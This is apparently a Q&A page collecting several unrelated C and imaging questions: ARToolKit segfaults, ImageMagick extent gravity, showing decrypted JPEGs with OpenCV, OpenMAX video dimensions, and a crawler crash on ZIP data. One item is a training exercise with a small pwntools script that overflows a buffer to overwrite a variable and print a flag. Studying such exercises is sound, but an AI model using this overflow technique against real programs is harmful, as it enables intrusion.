I am trying to use the arDetectMarker function from arToolKit to detect markers in an image. I read the image from disk in the following way:
cv::Mat image;
cv::Mat temp;
image = cv::imread(path, CV_LOAD_IMAGE_COLOR);
cv::cvtColor(image, temp, CV_RGB2BGR);
and converted to ARUint8* format using:
dataPtr = (ARUint8 *) ((IplImage) temp).imageData;
I am sure that the data is correctly converted to dataPtr since I saved the image to check. Unfortunately, when I call arDetectMarker, a "segmentation fault" happens and I don't know the reason (I think it is due to the pixel format). I've read in the documentation:
http://artoolkit.sourceforge.net/apidoc/ar_8h.html#b2868d9587c68fb7255d4f270bcf878f
and it says that the format is in general ABGR. But I am using Ubuntu 14.04 and I think that I have v4l drivers, although I am not sure since I am not working with videos. I tried to convert the image loaded to ABGR or BGRA, but I am not sure if I did it correctly, or if this is really a requirement.
Also, I did the calibration procedure before.
Anybody can help me?
Thanks!
Marcelo.
Related
I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.
I'm trying to recode below command into C. Everything seems to be fine except gravity. I don't know why it's not working. My original image is 2000x834. I also attached the original image and it's result of both images.
1. convert single_color.png -quiet single_color.png +repage -gravity center -background none -extent 4000x834 single_colorM.png
Below is C code.
MagickWand *wand;
MagickReadImage(wand, "single_color.png");
PixelWand *PW1;
PW1 = NewPixelWand();
PixelSetColor(PW1,"none");
// For 1st Command
MagickResetImagePage(wand,"4000x834+0+0");
MagickSetImageGravity(wand, CenterGravity);
MagickSetImageBackgroundColor(wand, PW1);
MagickExtentImage(wand,pwidth, pheight,0,0);
MagickWriteImage(wand,"single_color1M.png");
Original Image
Command Modified Image
C Program Modified Image
But if I pass X and Y parameters to MagickExtentImage(wand,pwidth, pheight,0,0); then I can able to adjust it's gravity.
This question was also posted to the ImageMagick User Forum.
See the answer at
http://www.imagemagick.org/discourse-server/viewtopic.php?f=1&t=31788
I am working on a project where I have a server that sends an encrypted jpeg to a client which then decrypts it. Currently the image is stored in a byte array on the receiver end before it is written to the current directory.
void decryptionFunction(){
uint8 *plaintext; /* Pointer to buffer that contains decrypted jpeg
data*/
uint32 plaintext_len;
int k = 0;
while(1){
/*Decryption happens here... malloc() buffer and set *plaintext
equal to it*/
char buffer[32];
snprintf(buffer, sizeof(char) *32 "file%i.jpeg", k);
FILE *fp;
fp = fopen(buffer, "wb");
fwrite(plaintext, 1, plaintext_len, fp);
fclose(fp);
k++;
free(plaintext);
}
}
Each time the while loop completes a new image is placed in the buffer and then writes the image to the current directory. This all works fine, however I would like to display the image somehow instead of writing it to the current directory. Is there a way to do this in C? I have currently thought about streaming it from the receiver to VLC using some protocol, but that seems a little more complicated than what I am wanting.
Ideally, I would like to just display the image from the buffer and refresh the display each time through the while loop.
Thanks for any input.
There are many different libraries to display an image. One lite/simple is NxV. You can also use QT.
I found a solution that will work for right now. I decided to use the OpenCV library which has deprecated C functions to handle image display.
void decryptionFunction(){
uint8 *plaintext; /* Pointer to buffer that contains decrypted jpeg
data*/
uint32 plaintext_len;
int k = 0;
while(1){
/*Decryption happens here... malloc() buffer and set *plaintext
equal to it*/
CvMat matbox = cvMat(240, 320, CV_8UC1, plaintext);
IplImage *img;
img = cvDecodeImage(&matbox, 1);
cvNamedWindow("test", CV_WINDOW_AUTOSIZE);
cvShowImage("test", img);
cvWaitKey(100);
cvReleaseImage(&img);
free(plaintext);
}
}
While these functions are deprecated and can be cut at any time, for the time being they do exactly what I want. The buffer contains compressed jpeg data, and in order for it to be shown in the window, it has to be decoded into a raw format. I am still looking for a C implementation that can do exactly this that isn't deprecated.
You can maybe use the display program which is part of the ImageMagick suite which is installed on most Linux distros and is also available for OSX and Windows.
Basically, at the command line, you do:
display image.png
and it shows the image. It can display PNG, JPEG, TIFF and around 150 other formats. If your image changes, or you want to display a different one, you can do the following and it will look up the first instance of display and tell it to refresh with the new image:
display -remote image2.jpg
It can also take the image from its stdin as long as you tell it what type of file is coming, so it will work just as well like this:
cat image.jpg | display jpg:-
So you could effectively use popen() to start display and then send your image buffer to its stdin and then, when your image changes, run it again with the added -remote parameter to make it look up the first displayed image and refresh it rather than opening another display.
There are many options to resize the image before display, overlay it on a solid background or texture and so on if you run man display.
is there any way to get the video dimensions of a H264 video on the raspberry pi using OpenMAX directly without having to use ffmpeg or something else? All the pi examples appear to have hardcoded values for that.
Thanks!
Yes, this is possible by querying the OMX_PARAM_PORTDEFINITIONTYPE structure of the decoder output port. You have to use something along these lines:
OMX_PARAM_PORTDEFINITIONTYPE portdef;
portdef.nSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
portdef.nVersion.nVersion = OMX_VERSION;
portdef.nPortIndex = 131;
OMX_GetParameter(ILC_GET_HANDLE(video_decode), OMX_IndexParamPortDefinitionType, portdef);
printf("Width: %d, Height: %d\n", portdef.format.video.nFrameWidth, portdef.format.nFrameHeight);
Please note that this will only give you correct values after the OMX_EventPortSettingsChanged event has fired (which happens after processing the first buffer). Otherwise, this values can and probably will be wrong.
my software is a Web Crawler,when I get the body from the http response, it cracks.
resp->body = Malloc(content_len);
memcpy(resp->body, body_start, content_len); //THIS IS THE FAULTY LINE
Malloc is a wrapper function of malloc,so resp->body is not NULL, and content_len is the length of memory area begin with body_start,but its content is "PK\003\004\024", "\003" is ETX(end of text), "\004" is EOT(end of transmission),"\024" is device control 4,I really don't know what 's the meaning of these strange chracters,why does it crack?
The body is ZIP encoded, from the ZIP wikipedia page;
Magic number
none, though PK\003\004, PK\005\006 (empty archive), or PK\007\008 (spanned archive) are common.
You'll need to check the header and unzip the body before reading it.
As for the segmentation fault, any of the 3 parameters to memcpy could be the culprit, code showing their initialisation is required to spot the exact problem. If you're using any of the string functions (strlen/strcpy) on the body in a non shown part of the code, they're likely to break with binary input like this.